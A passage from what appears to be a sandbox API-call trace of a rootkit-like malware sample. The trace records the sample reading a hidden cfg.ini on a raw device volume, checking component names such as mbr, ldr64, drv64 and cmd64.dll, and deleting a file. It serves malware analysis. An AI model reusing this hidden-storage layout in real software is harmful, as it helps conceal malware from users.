_Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.217] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.217] IdePortDispatch () returned 0x103 [0118.217] KeWaitForMutexObject () returned 0x0 [0118.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.217] KeLeaveCriticalRegion () [0118.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.218] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.218] KeEnterCriticalRegion () [0118.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.218] KeLeaveCriticalRegion () [0118.218] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.218] KeEnterCriticalRegion () [0118.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.218] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.218] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.218] KeLeaveCriticalRegion () [0118.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.218] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.218] KeEnterCriticalRegion () [0118.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.219] ExFreePoolWithTag (P=0xfffffa8003ad2c40, Tag=0x0) [0118.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.219] KeLeaveCriticalRegion () [0118.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.219] ReleaseMutex (hMutex=0xf0) returned 1 [0118.219] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.219] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.219] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.219] KeEnterCriticalRegion () [0118.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.219] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.219] IdePortDispatch () returned 0x103 [0118.219] KeWaitForMutexObject () returned 0x0 [0118.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.219] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.219] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.219] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.219] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.219] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385cf10 [0118.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.219] KeLeaveCriticalRegion () [0118.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.220] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.220] KeEnterCriticalRegion () [0118.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.220] KeLeaveCriticalRegion () [0118.220] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.220] KeEnterCriticalRegion () [0118.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.220] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.220] IdePortDispatch () returned 0x103 [0118.220] KeWaitForMutexObject () returned 0x0 [0118.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.220] KeLeaveCriticalRegion () [0118.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.220] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.220] KeEnterCriticalRegion () [0118.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.220] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9c000 [0118.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.220] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.221] IdePortDispatch () returned 0x103 [0118.221] KeWaitForMutexObject () returned 0x0 [0118.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.221] IdePortDispatch () returned 0x103 [0118.221] KeWaitForMutexObject () returned 0x0 [0118.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.221] KeLeaveCriticalRegion () [0118.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.222] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.222] KeEnterCriticalRegion () [0118.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] KeLeaveCriticalRegion () [0118.222] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.222] KeEnterCriticalRegion () [0118.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.222] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] KeLeaveCriticalRegion () [0118.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.222] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.222] KeEnterCriticalRegion () [0118.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] ExFreePoolWithTag (P=0xfffffa800385cf10, Tag=0x0) [0118.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.222] KeLeaveCriticalRegion () [0118.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.222] ReleaseMutex (hMutex=0xf0) returned 1 [0118.222] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.222] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.223] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.223] KeEnterCriticalRegion () [0118.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.223] IdePortDispatch () returned 0x103 [0118.223] KeWaitForMutexObject () returned 0x0 [0118.223] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.223] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.223] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.223] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.223] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.223] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.223] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.223] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.223] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.223] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.223] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.223] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.223] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.223] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.223] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.223] KeLeaveCriticalRegion () [0118.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.224] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.224] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.224] KeEnterCriticalRegion () [0118.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.224] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.224] IdePortDispatch () returned 0x103 [0118.224] KeWaitForMutexObject () returned 0x0 [0118.224] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.224] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.224] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.224] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.224] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.224] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.224] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.224] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.224] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.224] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.224] KeLeaveCriticalRegion () [0118.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.224] ReleaseMutex (hMutex=0x100) returned 1 [0118.225] Sleep (dwMilliseconds=0x2bf20) [0118.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69aaecf0, dwHighDateTime=0x1d24fa4)) [0118.233] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.233] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.233] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.233] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.233] KeEnterCriticalRegion () [0118.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.233] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.233] IdePortDispatch () returned 0x103 [0118.233] KeWaitForMutexObject () returned 0x0 [0118.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.233] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.233] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.233] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2bf0 [0118.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.233] KeLeaveCriticalRegion () [0118.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.234] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.234] KeEnterCriticalRegion () [0118.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.234] KeLeaveCriticalRegion () [0118.234] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.234] KeEnterCriticalRegion () [0118.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.234] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.234] IdePortDispatch () returned 0x103 [0118.234] KeWaitForMutexObject () returned 0x0 [0118.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.234] KeLeaveCriticalRegion () [0118.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.234] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.234] KeEnterCriticalRegion () [0118.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.234] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9f000 [0118.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.235] IdePortDispatch () returned 0x103 [0118.235] KeWaitForMutexObject () returned 0x0 [0118.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.235] IdePortDispatch () returned 0x103 [0118.235] KeWaitForMutexObject () returned 0x0 [0118.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.235] KeLeaveCriticalRegion () [0118.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.236] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.236] KeEnterCriticalRegion () [0118.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] KeLeaveCriticalRegion () [0118.236] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.236] KeEnterCriticalRegion () [0118.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] KeLeaveCriticalRegion () [0118.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.236] KeEnterCriticalRegion () [0118.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] ExFreePoolWithTag (P=0xfffffa8003ad2bf0, Tag=0x0) [0118.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.236] KeLeaveCriticalRegion () [0118.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.236] ReleaseMutex (hMutex=0xf0) returned 1 [0118.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.237] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.237] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.237] KeEnterCriticalRegion () [0118.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.237] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.237] IdePortDispatch () returned 0x103 [0118.237] KeWaitForMutexObject () returned 0x0 [0118.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.237] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.237] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.237] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd77b0 